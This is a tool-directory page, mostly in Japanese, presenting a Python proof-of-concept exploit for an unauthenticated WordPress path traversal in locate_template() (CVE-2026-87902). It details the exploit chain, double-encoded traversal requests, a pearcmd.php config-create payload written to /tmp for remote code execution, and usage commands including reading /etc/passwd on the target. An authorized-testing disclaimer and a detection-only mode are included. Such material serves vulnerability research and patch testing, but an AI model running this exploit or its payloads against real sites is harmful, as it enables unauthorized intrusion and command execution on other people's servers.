Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-87902 — Python PoCは、WordPressのlocate_template()における未認証のパストラバーサルを悪用し、LFIおよびPEARベースのRCEに至るCVE-2026-87902を、安全な検出モード付きで実証するものです。 | Kitploit
ツール/GitHubGitHub/crowsec-edtech/cve-2026-87902
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストリモートアクセスツールペイロード開発ラボと実践
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

Python PoCは、WordPressのlocate_template()における未認証のパストラバーサルを悪用し、LFIおよびPEARベースのRCEに至るCVE-2026-87902を、安全な検出モード付きで実証するものです。

リポジトリを見る
34324日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-87902 — PoC: WordPress の page-template 解決における未認証パストラバーサル

エクスプロイトファイル: exploit_locate_template_rce.py — Python 3.6+ (stdlib のみ)。

単一コマンドのパイプライン: 安全な検出 (LFI 差分、書き込みなし) → 脆弱な場合、 pearcmd.php ガジェット経由の RCE で任意のコマンドを実行 (--command/-c)。--validate-only を使うと書き込み段階の前で停止します。

コミット 5fde0bb7 の修正が適用されていない WordPress バージョンで CVE-2026-87902 をテストします — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2、4.7.37 までのバックポート)。

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
影響を受けるバージョンWordPress 4.7.0 – 7.1.1 (全ブランチ)
修正7.1.2, 7.0.6, 6.9.9 … 4.7.37
修正コミット5fde0bb7b9775523959094bf280cc54bfa78af51 (changeset 63792 のマージ)
ファイルwp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
認証不要 — ユーザー、Cookie、nonce、プラグインのいずれも不要
クレジット発見および開示: Robert Ressl

⚠️ 認可されたテスト専用。 あなたが管理する環境 (以下のラボは隔離されています) または所有者の明示的な許可を得た場合にのみ使用してください。


1. 脆弱性

修正が適用されていないバージョンでは、get_page_template() → locate_template() → template-loader の連鎖は、選択されたテンプレートがテーマの内部に留まることを 一切保証しません。

修正前 (wp-includes/template.php):

// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

修正後 (コミット 5fde0bb7):

if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

エクスプロイトチェーン (リポジトリのコード)

  1. pagename と page_id は公開クエリ変数 — 匿名 POST の body で受け付けられます。 POST メソッドでは redirect_canonical() (canonical.php) が早期リターンします — これは GET/HEAD でのみ動作するため、何もリダイレクトされません。
  2. トラバーサルは二重エンコード (templates%252f%252e%252e%252f...) され、 サニタイズを通過します: WP_Query::get_posts() (l.2191) は pagename を sanitize_title_for_query( wp_basename( ... ) ) で書き換えます — wp_basename() は %2F で分割せず (formatting.php l.5768)、サニタイズは %XX オクテットを保持します (l.2395)。
  3. page_id (l.2252) は WHERE を上書きします ("$where ="、".=" ではない) — 実際の ページがロードされ、404 は発生せず、悪意のある pagename はクエリオブジェクトに残ります。
  4. get_page_template() は遅延 urldecode() を行い、validate_file() なしで page-<traversal>.php を組み立てます。
  5. パッチ前の locate_template() は file_exists() を呼ぶだけ → include がテーマの外に脱出します。

前提条件

#前提条件理由
1公開済みページで、匿名でアクセス可能、page_id で選択可能、かつカスタムテンプレートなしリクエストが Page に解決される必要がある。カスタムテンプレートは階層のより早い段階で来る
2アクティブテーマ (子または親) のトップレベルディレクトリが page- で始まる (例: page-templates/)WP は固定プレフィックス page- を前置する。トラバーサルはこれを介して入る。存在してトラバース可能であれば十分 (空でも可)。Twenty Twelve/Fourteen、Neve、Hestia、Sydney に存在
3存在し読み取り可能なローカル .php ターゲットローダーは .php を付加し is_file()/is_readable() をチェックする
4(RCE のみ) 読み取り可能な pearcmd.php + register_argc_argv=On + 書き込み可能ディレクトリ (例: /tmp)PEAR→RCE ルート: config-create が PHP ペイロードをサーバーに書き込む

2. スクリプトの動作

ステージ 1 — 安全な検出 (常に最初に実行)

公開済みページに対する 3 つの匿名 POST — ディスクへの書き込みなし:

リクエストpagename期待される応答 (脆弱な場合)
A — ベースライン—200、通常のボディ (~23 KB)
B — コントロールtraversal → 存在しないファイル200、通常のボディ (フォールバック page.php)
C — プローブtraversal → wp-content/index.php ("Silence is golden")200 でボディが空

シグネチャ: C が空 + A/B が正常 ⇒ include がテーマの外に脱出 ⇒ 脆弱。 検出は自動的にスキャンします: 候補テーマディレクトリ (page-templates, page-template) × 深さ 1–12。 結果 (theme-dir + depth) が RCE ステージに渡されます。

--validate-only を指定するとスクリプトはここで停止します (脆弱な場合は exit 0)。

ステージ 2 — pearcmd.php 経由の RCE (書き込み)

Estágio 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → o traversal inclui /usr/local/lib/php/pearcmd.php
           → argv vem da query string crua (register_argc_argv=On)
           → config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)

Estágio 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data

フォーマットの詳細 (すべての制約はスクリプトが処理します):

  • POST、GET ではない: body が page_id + pagename を運び、クエリ文字列は もっぱら PEAR の argv を運びます (?+config-create+<root>+<out>)。
  • 引用符を一切含まないペイロード: wp_magic_quotes() (load.php l.1290) が add_magic_quotes($_SERVER) を適用し、pearcmd は $_SERVER['argv'] から argv を読み取ります — 引用符は \' になり生成ファイルを壊します。すべての PHP 文字列は chr() の連結になります: '/tmp' → chr(47).chr(116).chr(109).chr(112)。
  • バイト単位で正確なリクエストターゲット (http.client): クエリ文字列の生バイト +、<、> が argv です — 途中で再エスケープ/再エンコードされてはなりません。
  • config-create は絶対ルートパスを要求します — ペイロードはルート自体として注入され (/<php>)、出力を区切るマーカー ___WP_RCE_OK___ が前置されます。
  • RCE は検出された深さから depths を試行し (内部順序 7, 6, 8, 5, …)、複数の pearcmd.php パス (公式 Docker、Debian/Ubuntu、XAMPP) を試します — 必要に応じて --pear-path/--output で調整してください。

「アップロード」はありません: 検出のターゲットはすべての WordPress が標準で備える ファイル (wp-content/index.php) であり、RCE のペイロードは PEAR ガジェットを介して サーバー自身によって書き込まれ、www-data として実行されます。


3. 使用方法

# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

パラメータ

パラメータデフォルト説明
--url, -u(必須)WordPress のベース URL
--command, -cidターゲットで実行されるシェルコマンド (--validate-only では無視)
--validate-onlyoff脆弱性のみを検証 (LFI、RCE/書き込みの前で停止)
--page-idauto (REST, fallback probe)カスタムテンプレートなしの公開済みページの ID
--theme-dirpage-templates, page-template を試行page- で始まるテーマのトップレベルディレクトリ
--probe-targetindex検出プローブのターゲット、.php なし (index → wp-content/index.php)
--depth0 (1–12 をスキャン)../ セグメントの数
--pear-path内部リストを試行RCE ステージの pearcmd.php、.php なし (Docker, Debian, XAMPP)
--output/tmp/wp-pear-rcePEAR ペイロードの書き込み可能な宛先、.php なし
--timeout20リクエストごとのタイムアウト (秒)
--insecureoffTLS 証明書を検証しない
--verboseoff試行ごとの詳細出力

ラボでの期待される出力

ツールをダウンロード